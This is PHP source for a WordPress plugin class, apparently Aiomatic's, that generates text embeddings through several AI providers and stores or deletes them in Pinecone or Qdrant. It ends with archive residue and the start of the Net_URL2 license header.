if(!class_exists('Aiomatic_Embeddings')) { class Aiomatic_Embeddings { private static $instance = null ; private $api_key = '' ; public static function get_instance($api_key) { if ( is_null( self::$instance ) ) { self::$instance = new self($api_key); } return self::$instance; } public function __construct($api_key) { if(!aiomatic_is_aiomaticapi_key($api_key)) { require_once (dirname(__FILE__) . "/openai/Url.php"); require_once (dirname(__FILE__) . "/openai/OpenAi.php"); } add_action('wp_ajax_aiomatic_embeddings',[$this,'aiomatic_embeddings']); $this->api_key = $api_key; } public function aiomatic_save_embedding($content, $post_type = '', $title = '', $embaddings_id = false, $model = 'text-embedding-ada-002', $namespace = '') { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings saving'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'Missing API Setting'; return $aiomatic_result; } else { if (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure') { if(!aiomatic_is_aiomaticapi_key($this->api_key)) { $openai = new OpenAi($this->api_key); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $openai->setORG($aiomatic_Main_Settings['openai_organization']); } } else { $openai = true; } } else { $openai = true; } } $max_tokens = aiomatic_get_max_input_tokens($model); $in_tokens = count(aiomatic_encode($content)); if($in_tokens > $max_tokens) { $content = aiomatic_strip_to_token_count($content, aiomatic_get_max_input_tokens($model), false); } if ((!isset($aiomatic_Main_Settings['embeddings_api']) || trim($aiomatic_Main_Settings['embeddings_api']) == '') || (isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'pinecone')) { if (!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; return $aiomatic_result; } if (!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; return $aiomatic_result; } $token = $this->api_key; $content = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content); if($openai) { $aiomatic_pinecone_api = trim($aiomatic_Main_Settings['pinecone_app_id']); $aiomatic_pinecone_environment = preg_replace("(^https?:\/\/)", "", trim($aiomatic_Main_Settings['pinecone_index'])); $headers = array( 'Content-Type' => 'application/json', 'Api-Key' => $aiomatic_pinecone_api ); $response = wp_remote_get('https://'.$aiomatic_pinecone_environment,array( 'headers' => $headers )); if(is_wp_error($response)){ $aiomatic_result['msg'] = $response->get_error_message(); return $aiomatic_result; } $response_code = $response['response']['code']; if($response_code !== 200){ $aiomatic_result['msg'] = $response['body']; if(empty($aiomatic_result['msg'] )) { $aiomatic_result['msg'] = 'Error code returned for Pinecone Index: ' . $aiomatic_Main_Settings['pinecone_index'] . ': ' . $response_code . ' - index: ' . 'https://' . $aiomatic_pinecone_environment . '/databases'; } return $aiomatic_result; } $embedding = ''; $session = aiomatic_get_session_id(); $maxResults = 1; $query = new Aiomatic_Query($content, 2048, $model, 0, '', 'saveembeddings', 'embeddings', $token, $session, $maxResults, '', ''); if(aiomatic_google_extension_is_google_embeddings_model($model)) { $error = ''; $response = aiomatic_generate_embeddings_google($model, $content, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response['error'])) { $result['data'] = 'Error while processing AI response: ' . $response['error']; return $result; } $embedding = $response; } else { if(aiomatic_is_aiomaticapi_key($this->api_key)) { $error = ''; $response = aiomatic_embeddings_aiomaticapi($token, $model, $content, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response->error)) { $result['data'] = 'Error while processing AI response: ' . $response->error; return $result; } if(!isset($response[0]->embedding)) { $result['data'] = 'Failed to call Embeddings API: ' . print_r($response, true); return $result; } apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response[0]->embedding; } else { if (aiomatic_check_if_azure($aiomatic_Main_Settings)) { $error = ''; $response = aiomatic_embeddings_azure($token, $model, $content, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } else { $embedding = (array)$response[0]->embedding; apply_filters( 'aiomatic_ai_reply', $response, $query ); } } else { $response = $openai->embeddings(array( 'input' => $content, 'model' => $model )); $response = json_decode($response, true); if(isset($response['error']) && !empty($response['error'])) { $aiomatic_result['msg'] = $response['error']['message']; } else{ $embedding = $response['data'][0]['embedding']; apply_filters( 'aiomatic_ai_reply', $response, $query ); } } } } if(empty($embedding)) { if($aiomatic_result['msg'] == 'Something went wrong with embeddings processing') { $aiomatic_result['msg'] = 'No data returned'; } } else { $pinecone_url = 'https://' . $aiomatic_pinecone_environment . '/vectors/upsert'; if(!$embaddings_id) { if(function_exists('mb_substr')) { $embedding_title = empty($title) ? mb_substr($content, 0, 50, 'UTF-8') : $title; } else { $embedding_title = empty($title) ? substr($content, 0, 50) : $title; } $embedding_data = array( 'post_type' => 'aiomatic_embeddings', 'post_title' => $embedding_title, 'post_content' => $content, 'post_status' => 'publish' ); if (!empty($post_type)) { $embedding_data['post_type'] = $post_type; } remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $embaddings_id = wp_insert_post($embedding_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); } if(is_wp_error($embaddings_id)) { $aiomatic_result['msg'] = $embaddings_id->get_error_message(); } elseif($embaddings_id === 0) { $aiomatic_result['msg'] = 'Failed to insert embedding to database: ' . $embedding_title; } else { if(empty($namespace)) { if (isset($aiomatic_Main_Settings['pinecone_namespace']) && trim($aiomatic_Main_Settings['pinecone_namespace']) != '') { update_post_meta($embaddings_id, 'aiomatic_namespace', trim($aiomatic_Main_Settings['pinecone_namespace'])); } } else { update_post_meta($embaddings_id, 'aiomatic_namespace', trim($namespace)); } update_post_meta($embaddings_id, 'aiomatic_start',time()); if(aiomatic_is_aiomaticapi_key($this->api_key) || (aiomatic_check_if_azure($aiomatic_Main_Settings))) { $usage_tokens = count(aiomatic_encode($content)); } else { $usage_tokens = $response['usage']['total_tokens']; } add_post_meta($embaddings_id, 'aiomatic_embedding_token', $usage_tokens); add_post_meta($embaddings_id, 'aiomatic_embedding_model', $model); $vectors = array( array( 'id' => (string)$embaddings_id, 'values' => $embedding ) ); $sendjs = array('vectors' => $vectors); if(empty($namespace)) { if (isset($aiomatic_Main_Settings['pinecone_namespace']) && trim($aiomatic_Main_Settings['pinecone_namespace']) != '') { $sendjs['namespace'] = trim($aiomatic_Main_Settings['pinecone_namespace']); } } else { $sendjs['namespace'] = trim($namespace); } $response = wp_remote_post($pinecone_url, array( 'headers' => $headers, 'body' => json_encode($sendjs) )); if(is_wp_error($response)) { $aiomatic_result['msg'] = $response->get_error_message(); wp_delete_post($embaddings_id); } else { $body = json_decode($response['body'],true); if($body) { if(isset($body['code']) && isset($body['message'])) { $aiomatic_result['msg'] = strip_tags($body['message']); wp_delete_post($embaddings_id); } else { $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $embaddings_id; update_post_meta($embaddings_id, 'aiomatic_completed', time()); } } else { $aiomatic_result['msg'] = 'No data returned'; wp_delete_post($embaddings_id); } } } } } else { $aiomatic_result['msg'] = 'Missing OpenAI API Settings'; } } elseif(isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'qdrant') { if (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; return $aiomatic_result; } if (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '') { $aiomatic_result['msg'] = 'You must add a Quadrant index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; return $aiomatic_result; } $token = $this->api_key; $content = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content); if($openai) { $aiomatic_qdrant_api = trim($aiomatic_Main_Settings['qdrant_app_id']); $aiomatic_qdrant_environment = rtrim(trim($aiomatic_Main_Settings['qdrant_index'], '/')); $aiomatic_qdrant_environment = preg_replace("(^https?:\/\/)", "", $aiomatic_qdrant_environment); $qdrant_url = 'https://' . $aiomatic_qdrant_environment; $embedding = ''; $session = aiomatic_get_session_id(); $maxResults = 1; $query = new Aiomatic_Query($content, 2048, $model, 0, '', 'saveembeddings', 'embeddings', $token, $session, $maxResults, '', ''); if(aiomatic_google_extension_is_google_embeddings_model($model)) { $error = ''; $response = aiomatic_generate_embeddings_google($model, $content, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response['error'])) { $result['data'] = 'Error while processing AI response: ' . $response['error']; return $result; } $embedding = $response; } else { if(aiomatic_is_aiomaticapi_key($this->api_key)) { $error = ''; $response = aiomatic_embeddings_aiomaticapi($token, $model, $content, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response->error)) { $result['data'] = 'Error while processing AI response: ' . $response->error; return $result; } if(!isset($response[0]->embedding)) { $result['data'] = 'Failed to call Embeddings API: ' . print_r($response, true); return $result; } apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response[0]->embedding; } else { if (aiomatic_check_if_azure($aiomatic_Main_Settings)) { $error = ''; $response = aiomatic_embeddings_azure($token, $model, $content, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } else { $embedding = (array)$response[0]->embedding; apply_filters( 'aiomatic_ai_reply', $response, $query ); } } else { $response = $openai->embeddings(array( 'input' => $content, 'model' => $model )); $response = json_decode($response, true); if(isset($response['error']) && !empty($response['error'])) { $aiomatic_result['msg'] = $response['error']['message']; } else{ $embedding = $response['data'][0]['embedding']; apply_filters( 'aiomatic_ai_reply', $response, $query ); } } } } if(empty($embedding)) { if($aiomatic_result['msg'] == 'Something went wrong with embeddings processing') { $aiomatic_result['msg'] = 'No data returned'; } } else { if(empty($namespace)) { if (isset($aiomatic_Main_Settings['qdrant_name']) && trim($aiomatic_Main_Settings['qdrant_name']) != '') { $index_name = $aiomatic_Main_Settings['qdrant_name']; } else { $index_name = 'qdrant'; } } else { $index_name = trim($namespace); } try { require_once (dirname(__FILE__) . "/Qdrant.php"); $my_indexes = aiomatic_qdrant_list_indexes($aiomatic_qdrant_api, $qdrant_url); $found = false; foreach($my_indexes as $mid) { if($mid['name'] == $index_name) { $found = true; } } if($found == false) { aiomatic_qdrant_add_index($aiomatic_qdrant_api, $qdrant_url, $index_name); } if(!$embaddings_id) { if(function_exists('mb_substr')) { $embedding_title = empty($title) ? mb_substr($content, 0, 50, 'UTF-8') : $title; } else { $embedding_title = empty($title) ? substr($content, 0, 50) : $title; } $embedding_data = array( 'post_type' => 'aiomatic_embeddings', 'post_title' => $embedding_title, 'post_content' => $content, 'post_status' => 'publish' ); if (!empty($post_type)) { $embedding_data['post_type'] = $post_type; } remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $embaddings_id = wp_insert_post($embedding_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); } if(is_wp_error($embaddings_id)) { $aiomatic_result['msg'] = $embaddings_id->get_error_message(); } elseif($embaddings_id === 0) { $aiomatic_result['msg'] = 'Failed to insert embedding to database: ' . $embedding_title; } else { if(empty($namespace)) { if (isset($aiomatic_Main_Settings['qdrant_name']) && trim($aiomatic_Main_Settings['qdrant_name']) != '') { update_post_meta($embaddings_id, 'aiomatic_namespace', trim($aiomatic_Main_Settings['qdrant_name'])); } } else { update_post_meta($embaddings_id, 'aiomatic_namespace', trim($namespace)); } update_post_meta($embaddings_id, 'aiomatic_start',time()); if(aiomatic_is_aiomaticapi_key($this->api_key) || (aiomatic_check_if_azure($aiomatic_Main_Settings))) { $usage_tokens = count(aiomatic_encode($content)); } else { $usage_tokens = $response['usage']['total_tokens']; } add_post_meta($embaddings_id, 'aiomatic_embedding_token', $usage_tokens); add_post_meta($embaddings_id, 'aiomatic_embedding_model', $model); $vector = array( 'id' => (string)$embaddings_id, 'values' => $embedding ); $quadrant_id = aiomatic_qdrant_add_vector( $aiomatic_qdrant_api, $qdrant_url, $index_name, $vector ); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $embaddings_id; update_post_meta($embaddings_id, 'aiomatic_completed', time()); update_post_meta($embaddings_id, 'quadrant_id', $quadrant_id); } } catch(Exception $e) { $aiomatic_result['msg'] = 'Qdrant exception: ' . $e->getMessage(); wp_delete_post($embaddings_id); } } } else { $aiomatic_result['msg'] = 'Missing OpenAI API Settings'; } } else { $aiomatic_result['msg'] = 'Unrecognized embeddings provider selected'; } return $aiomatic_result; } public function aiomatic_get_embedding_data($content, $model = 'text-embedding-ada-002') { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings saving'); $embedding = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'Missing API Setting'; return $aiomatic_result; } else { if (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure') { if(!aiomatic_is_aiomaticapi_key($this->api_key)) { $openai = new OpenAi($this->api_key); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $openai->setORG($aiomatic_Main_Settings['openai_organization']); } } else { $openai = true; } } else { $openai = true; } } $max_tokens = aiomatic_get_max_input_tokens($model); $in_tokens = count(aiomatic_encode($content)); if($in_tokens > $max_tokens) { $content = aiomatic_strip_to_token_count($content, aiomatic_get_max_input_tokens($model), false); } $token = $this->api_key; $content = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content); if($openai) { $session = aiomatic_get_session_id(); $maxResults = 1; $query = new Aiomatic_Query($content, 2048, $model, 0, '', 'saveembeddings', 'embeddings', $token, $session, $maxResults, '', ''); if(aiomatic_google_extension_is_google_embeddings_model($model)) { $error = ''; $response = aiomatic_generate_embeddings_google($model, $content, $error); if($response === false) { $result['msg'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response['error'])) { $result['msg'] = 'Error while processing AI response: ' . $response['error']; return $result; } $embedding = $response; } else { if(aiomatic_is_aiomaticapi_key($this->api_key)) { $error = ''; $response = aiomatic_embeddings_aiomaticapi($token, $model, $content, 0, $error); if($response === false) { $result['msg'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response->error)) { $result['msg'] = 'Error while processing AI response: ' . $response->error; return $result; } if(!isset($response[0]->embedding)) { $result['msg'] = 'Failed to call Embeddings API: ' . print_r($response, true); return $result; } apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response[0]->embedding; } else { if (aiomatic_check_if_azure($aiomatic_Main_Settings)) { $error = ''; $response = aiomatic_embeddings_azure($token, $model, $content, 0, $error); if($response === false) { $result['msg'] = 'Failed to call Embeddings API: ' . $error; return $result; } else { $embedding = (array)$response[0]->embedding; apply_filters( 'aiomatic_ai_reply', $response, $query ); } } else { $response = $openai->embeddings(array( 'input' => $content, 'model' => $model )); $response = json_decode($response, true); if(isset($response['error']) && !empty($response['error'])) { $aiomatic_result['msg'] = $response['error']['message']; } else{ $embedding = $response['data'][0]['embedding']; apply_filters( 'aiomatic_ai_reply', $response, $query ); } } } } if(empty($embedding)) { if($aiomatic_result['msg'] == 'Something went wrong with embeddings processing') { $aiomatic_result['msg'] = 'No data returned'; } } else { unset($aiomatic_result['msg']); $aiomatic_result['data'] = $embedding; $aiomatic_result['status'] = 'success'; } } else { $aiomatic_result['msg'] = 'Missing OpenAI API Settings'; } return $aiomatic_result; } public function aiomatic_delete_embedding($embaddings_id) { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings deletion'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ((!isset($aiomatic_Main_Settings['embeddings_api']) || trim($aiomatic_Main_Settings['embeddings_api']) == '') || (isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'pinecone')) { if (!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } elseif (!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; } else { $aiomatic_pinecone_api = trim($aiomatic_Main_Settings['pinecone_app_id']); $aiomatic_pinecone_environment = preg_replace("(^https?:\/\/)", "", trim($aiomatic_Main_Settings['pinecone_index'])); $pinecone_url = 'https://' . $aiomatic_pinecone_environment . '/vectors/delete'; $headers = array( 'Content-Type' => 'application/json', 'Api-Key' => $aiomatic_pinecone_api ); $pinecone_ids = 'ids='. $embaddings_id; try { wp_remote_request('https://' . $aiomatic_pinecone_environment . '/vectors/delete?'.$pinecone_ids, array( 'method' => 'DELETE', 'headers' => $headers )); $response = wp_remote_post($pinecone_url, array( 'headers' => $headers, 'body' => json_encode(array('ids' => array($embaddings_id))) )); if(is_wp_error($response)){ $aiomatic_result['msg'] = $response->get_error_message(); wp_delete_post($embaddings_id); } elseif(wp_remote_retrieve_response_code( $response ) != 200) { $aiomatic_result['msg'] = 'Invalid response from API: ' . wp_remote_retrieve_response_code( $response ); wp_delete_post($embaddings_id); } else { $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $embaddings_id; wp_delete_post($embaddings_id); } } catch (\Exception $e){ $aiomatic_result['msg'] = 'Exception thrown: ' . $e->getMessage(); wp_delete_post($embaddings_id); } } } elseif(isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'qdrant') { if (isset($aiomatic_Main_Settings['qdrant_name']) && trim($aiomatic_Main_Settings['qdrant_name']) != '') { $index_name = $aiomatic_Main_Settings['qdrant_name']; } else { $index_name = 'qdrant'; } if (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } elseif (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '') { $aiomatic_result['msg'] = 'You must add a Qdrant index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; } else { $aiomatic_qdrant_api = trim($aiomatic_Main_Settings['qdrant_app_id']); $aiomatic_qdrant_environment = rtrim(trim($aiomatic_Main_Settings['qdrant_index'], '/')); $aiomatic_qdrant_environment = preg_replace("(^https?:\/\/)", "", $aiomatic_qdrant_environment); $qdrant_url = 'https://' . $aiomatic_qdrant_environment; $quadrant_id = get_post_meta($embaddings_id, 'quadrant_id', true); if(empty($quadrant_id)) { $aiomatic_result['msg'] = 'Qdrant ID not found: ' . $embaddings_id; wp_delete_post($embaddings_id); } else { try { require_once (dirname(__FILE__) . "/Qdrant.php"); aiomatic_qdrant_delete_vectors( $aiomatic_qdrant_api, $qdrant_url, $index_name, array($quadrant_id) ); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $embaddings_id; wp_delete_post($embaddings_id); } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception thrown: ' . $e->getMessage(); wp_delete_post($embaddings_id); } } } } else { $aiomatic_result['msg'] = 'Unrecognized embeddings provider selected'; } return $aiomatic_result; } public function aiomatic_delete_embeddings_ids($ids) { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings ids'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ((!isset($aiomatic_Main_Settings['embeddings_api']) || trim($aiomatic_Main_Settings['embeddings_api']) == '') || (isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'pinecone')) { if (!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } elseif (!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; } else { $aiomatic_pinecone_api = trim($aiomatic_Main_Settings['pinecone_app_id']); $aiomatic_pinecone_environment = preg_replace("(^https?:\/\/)", "", trim($aiomatic_Main_Settings['pinecone_index'])); try { $headers = array( 'Content-Type' => 'application/json', 'Api-Key' => $aiomatic_pinecone_api ); $pinecone_ids = ''; foreach ($ids as $id){ $pinecone_ids = empty($pinecone_ids) ? 'ids='. $id : '&ids=' . $id; } $response = wp_remote_request('https://' . $aiomatic_pinecone_environment . '/vectors/delete?'.$pinecone_ids, array( 'method' => 'DELETE', 'headers' => $headers )); if(is_wp_error($response)){ $aiomatic_result['msg'] = $response->get_error_message(); } elseif(wp_remote_retrieve_response_code( $response ) != 200) { $aiomatic_result['msg'] = 'Invalid response from API: ' . wp_remote_retrieve_response_code( $response ); } else { $aiomatic_result['status'] = 'success'; } } catch (\Exception $exception){ } foreach ($ids as $id){ wp_delete_post($id); } } } elseif(isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'qdrant') { if (isset($aiomatic_Main_Settings['qdrant_name']) && trim($aiomatic_Main_Settings['qdrant_name']) != '') { $index_name = $aiomatic_Main_Settings['qdrant_name']; } else { $index_name = 'qdrant'; } if (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } elseif (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '') { $aiomatic_result['msg'] = 'You must add a Qdrant index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; } else { $aiomatic_qdrant_api = trim($aiomatic_Main_Settings['qdrant_app_id']); $aiomatic_qdrant_environment = rtrim(trim($aiomatic_Main_Settings['qdrant_index'], '/')); $aiomatic_qdrant_environment = preg_replace("(^https?:\/\/)", "", $aiomatic_qdrant_environment); $qdrant_url = 'https://' . $aiomatic_qdrant_environment; $quadrant_ids = array(); foreach ($ids as $embaddings_id){ $quadrant_id = get_post_meta($embaddings_id, 'quadrant_id', true); if(!empty($quadrant_id)) { $quadrant_ids[] = $quadrant_id; } } try { if(!empty($quadrant_ids)) { require_once (dirname(__FILE__) . "/Qdrant.php"); aiomatic_qdrant_delete_vectors( $aiomatic_qdrant_api, $qdrant_url, $index_name, $quadrant_ids ); } $aiomatic_result['status'] = 'success'; } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception thrown: ' . $e->getMessage(); } foreach ($ids as $id) { wp_delete_post($id); } } } else { $aiomatic_result['msg'] = 'Unrecognized embeddings provider selected'; } return $aiomatic_result; } public function aiomatic_deleteall_embeddings() { global $wpdb; $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings general deletion'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ((!isset($aiomatic_Main_Settings['embeddings_api']) || trim($aiomatic_Main_Settings['embeddings_api']) == '') || (isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'pinecone')) { if (!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } elseif (!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') { $aiomatic_result['msg'] = 'You must add a Pinecone index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; } else { $ids = $wpdb->get_results("SELECT ID FROM ".$wpdb->posts." WHERE post_type='aiomatic_embeddings'"); $ids = wp_list_pluck($ids,'ID'); if(count($ids)) { $aiomatic_result = $this->aiomatic_delete_embeddings_ids($ids); } else { $aiomatic_result['msg'] = 'No embeddings found to delete!'; } } } elseif(isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'qdrant') { if (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '') { $aiomatic_result['msg'] = 'You must add a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } elseif (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '') { $aiomatic_result['msg'] = 'You must add a Qdrant index in the plugin\'s \'Settings\' menu (Embeddings tab), before you can use this feature!'; } else { $ids = $wpdb->get_results("SELECT ID FROM ".$wpdb->posts." WHERE post_type='aiomatic_embeddings'"); $ids = wp_list_pluck($ids,'ID'); if(count($ids)) { $aiomatic_result = $this->aiomatic_delete_embeddings_ids($ids); } else { $aiomatic_result['msg'] = 'No embeddings found to delete!'; } } } else { $aiomatic_result['msg'] = 'Unrecognized embeddings provider selected'; } return $aiomatic_result; } public function aiomatic_embeddings() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['embeddings_model']) && $aiomatic_Main_Settings['embeddings_model'] != '') { $model = $aiomatic_Main_Settings['embeddings_model']; } else { $model = 'text-embedding-ada-002'; } $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings processing'); if(isset($_POST['content']) && !empty($_POST['content'])) { $content = wp_kses_post(strip_tags($_POST['content'])); if(!empty($content)){ $aiomatic_result = $this->aiomatic_save_embedding($content, '', '', false, $model, ''); } else { $aiomatic_result['msg'] = 'Please insert your content first!'; } } wp_send_json($aiomatic_result); } public function aiomatic_create_single_embedding($embeddings_str) { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings creation'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['embeddings_model']) && $aiomatic_Main_Settings['embeddings_model'] != '') { $model = $aiomatic_Main_Settings['embeddings_model']; } else { $model = 'text-embedding-ada-002'; } $content = wp_kses_post(strip_tags($embeddings_str)); if(!empty($content)){ $aiomatic_result = $this->aiomatic_save_embedding($content, '', '', false, $model, ''); } wp_send_json($aiomatic_result); } public function aiomatic_create_single_embedding_nojson($embeddings_str) { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings nojson creation'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['embeddings_model']) && $aiomatic_Main_Settings['embeddings_model'] != '') { $model = $aiomatic_Main_Settings['embeddings_model']; } else { $model = 'text-embedding-ada-002'; } $content = wp_kses_post(strip_tags($embeddings_str)); if(!empty($content)){ $aiomatic_result = $this->aiomatic_save_embedding($content, '', '', false, $model, ''); } return $aiomatic_result; } public function aiomatic_create_embeddings($embeddings_str) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['embeddings_model']) && $aiomatic_Main_Settings['embeddings_model'] != '') { $model = $aiomatic_Main_Settings['embeddings_model']; } else { $model = 'text-embedding-ada-002'; } $aiomatic_result = array('status' => 'error', 'msg' => 'No embeddings could be saved'); $embeddings_str_arr = preg_split('/\r\n|\r|\n/', $embeddings_str); foreach($embeddings_str_arr as $embedme) { $content = wp_kses_post(strip_tags($embedme)); if(!empty($content)){ $aiomatic_result = $this->aiomatic_save_embedding($content, '', '', false, $model, ''); } } wp_send_json($aiomatic_result); } } } ������������������������������������������������������������������������������������������������������������������������������������������������������res/Net_URL2.php������������������������������������������������������������������������������������0000644�����������������00000107070�14757771437�0007433 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Net_URL2, a class representing a URL as per RFC 3986. * * PHP version 5 * * LICENSE: * * Copyright (c) 2007-2009, Peytz & Co. A/S * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the distribution. * * Neither the name of the Net_URL2 nor the names of its contributors may * be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY 